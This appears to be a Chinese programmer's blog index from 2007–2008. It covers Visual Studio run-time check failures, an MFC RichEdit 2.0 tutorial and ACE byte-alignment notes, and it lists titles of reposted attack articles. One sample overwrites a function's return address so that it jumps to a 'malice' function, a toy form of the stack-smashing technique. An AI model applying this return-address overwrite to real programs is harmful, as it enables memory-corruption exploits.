HEAP错误

#pragma pack(push,1)与#pragma pack(1)的区别

由HEAP Corruption DETECTED查到的

posted @ 2008-01-21 01:47 三毛 阅读(168) | 评论 (0) | 编辑

Run-Time Check Failure #N

环境：Visual Studio Team Suite 2005
类型：Debug

以下是简化代码，出现让人摸不着头脑的Run-Time Check Failure，具体原因还在研究中,有结果会公布上来，N久没写博客了，太忙了。。。

代码1

#include 'stdafx.h'


void
 malice()
...
{
printf('Hey,you're been attacked./n');
}



void
 foo()
...
{
int *ret;
ret=(int*)&ret+2;
(*ret)=(int)malice;
}



int _tmain(int argc, _TCHAR*
 argv[])
...
{
foo();
return 0;
}

运行后出现：
Run-Time Check Failure #0 - The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention.


代码2

#include 'stdafx.h'


void
 foo()
...
{
int var[2];
var[2] = 0;
}



int _tmain(int argc, _TCHAR*
 argv[])
...
{
foo();
return 0;
}

运行后出现：
Run-Time Check Failure #2 - Stack around the variable 'var' was corrupted.

#include 
'stdafx.h'

#include 
<iostream>


using namespace
 std;

int
 a,b;
int _tmain(int argc, _TCHAR*
 argv[])
...
{
int c;
cout<<a<<'/n';
cout<<b<<'/n';
cout<<c<<'/n';
return 0;
}

运行后出现：
Run-Time Check Failure #3 - The variable 'c' is being used without being defined.

posted @ 2008-01-20 22:27 三毛 阅读(173) | 评论 (1) | 编辑

[转]在MFC中的文档视图中对视图使用RichEdit2--来自CodeGuru

The following is an example of rich edit2.0 based on the default SD rich edit project.
Please email me for source code.
1.revise PreCreateWindows
BOOL CRich20DocViewView::PreCreateWindow(CREATESTRUCT& cs)
{
 // TODO: Modify the Window class or styles here by modifying
 //  the CREATESTRUCT cs
// return CRichEditView::PreCreateWindow(cs);
 m_strClass="RichEdit20A";
 BOOL nR=CRichEditView::PreCreateWindow(cs);
 LoadLibraryA("RICHED20.DLL");
 return nR;
}
2. revise OnDestory
void CRich20DocViewView::OnDestroy()
{
 // Deactivate the item on destruction; this is important
 // when a splitter view is being used.
//   CRichEditView::OnDestroy();
   COleClientItem* pActiveItem = GetDocument()->GetInPlaceActiveItem(this);
   if (pActiveItem != NULL && pActiveItem->GetActiveView() == this)
   {
      pActiveItem->Deactivate();
      ASSERT(GetDocument()->GetInPlaceActiveItem(this) == NULL);
   }
   CRichEditView::OnDestroy();
}
3. Enable auto URL detect in OnInitialUpdate()
 long lENM=GetRichEditCtrl().GetEventMask();
 lENM|=ENM_LINK;
 GetRichEditCtrl().SetEventMask(lENM);
 BOOL bEnable=1;
 ::SendMessage(m_hWnd,EM_AUTOURLDETECT,bEnable,0);
4. URL left-button_dwon open with notify message
 ON_NOTIFY_REFLECT_EX(EN_LINK, OnLink ) 
 afx_msg void OnLink( NMHDR* in_pNotifyHeader, LRESULT* out_pResult );
 void CRich20DocViewView::OnLink( NMHDR* in_pNotifyHeader, LRESULT* out_pResult )
{
  ENLINK * pLink=(ENLINK*) in_pNotifyHeader;
  if(pLink->msg==WM_LBUTTONDOWN)
  {
  GetRichEditCtrl().SetSel(pLink->chrg);
  CString str=GetRichEditCtrl().GetSelText();
  ShellExecute( this->GetSafeHwnd(), _T( "open" ), str, NULL, NULL, SW_SHOWNORMAL ) ;
  }
}

5. To print correctly, revise OnPrint. Without the following, there might be a non-stop print with blank pages)
void CRich20DocViewView::OnPrint(CDC* pDC, CPrintInfo* pInfo)
{
 // TODO: Add your specialized code here and/or call the base class
 ASSERT_VALID(this);
 ASSERT_VALID(pDC);
 ASSERT(pInfo != NULL);
 ASSERT(pInfo->m_bContinuePrinting);

 UINT nPage = pInfo->m_nCurPage;
 ASSERT(nPage <= (UINT)m_aPageStart.GetSize());
 long nIndex = (long) m_aPageStart[nPage-1];

 // print as much as possible in the current page.
 nIndex = PrintPage(pDC, nIndex, 0xFFFFFFFF);
//nIndex got above hasn't take "return" into account
//The following codes add nIndex when there are any new lines
 int nLength=GetTextLength();
 CString strRich;
 GetRichEditCtrl().GetWindowText(strRich);
 int nS=0;
 while(nS!=-1)
 {
  nS=strRich.Find("/r/n",nS);
  if(nS!=-1)
  {
   nLength--;
   nS++;
  }

 }
 //END adding nIndex
 
 //other error that might cause non-stop print
 if(m_nIndex==nIndex)
  nLength-=10000;
 m_nIndex=nIndex;
 //end other erro

 if (nIndex >= nLength)//GetTextLength()
 {
  TRACE0("End of Document/n");
  pInfo->SetMaxPage(nPage);
 }

 // update pagination information for page just printed
 if (nPage == (UINT)m_aPageStart.GetSize())
 {
  if (nIndex < nLength)//GetTextLength()
   m_aPageStart.Add(nIndex);
 }
 else
 {
  ASSERT(nPage+1 <= (UINT)m_aPageStart.GetSize());
  ASSERT(nIndex == (long)m_aPageStart[nPage+1-1]);
 } 
// CRichEditView::OnPrint(pDC, pInfo);
}

posted @ 2007-05-14 18:07 三毛 阅读(104) | 评论 (0) | 编辑

关于CStdioFile奇怪的"错误"

posted @ 2007-05-11 15:24 三毛 阅读(121) | 评论 (0) | 编辑

[转]利用处理程序错误攻击（下）

posted @ 2007-05-09 10:28 三毛 阅读(36) | 评论 (0) | 编辑

[转]TCP/IP攻击原理分析总结

posted @ 2007-05-08 23:02 三毛 阅读(156) | 评论 (0) | 编辑

[转]利用处理程序错误攻击(上)

posted @ 2007-05-08 22:49 三毛 阅读(56) | 评论 (0) | 编辑

ACE学习笔记--持续更新中

         如果out 了一个short再out一个long

         字节将成为如下排列(16进制)            xx xx ?? ?? xx xx xx xx

         其中，问号部分即是因为在long写入时进行的按long长度对齐。该数据是无意义的

         例二：

         如果out了一个char再out一个 short

         字节将成为如下排列            xx  ??  xx xx

         其中，问号部分即是因为在short写入时进行的按short长度对齐。该数据是无意义的    

         例三：

         如果out了一个short再out一个char

         字节将成为如下排列            xx  xx    xx

         这里输入的char不会造成对齐问题，因为char只有一个字节（都是倍数）

         例四：

         如果out了一个short再out一个char 再out 一个 long

         字节将成为如下排列            xx  xx  xx  ??  xx  xx  xx  xx

         按照以上可总结出，每out一个类型的数据时，输出流将自动按照这个输入类型的长度序对齐，如果没有对齐，则自动填充。

posted @ 2007-05-08 10:24 三毛 阅读(518) | 评论 (0) | 编辑

         out << (ACE_CDR::UShort)1;

         out << (ACE_CDR::Long)2;

         ACE_LOG_MSG->log_hexdump( LM_DEBUG , mb->base() , out.length() , "t");

[转]VC使用CRT调试功能来检测内存泄漏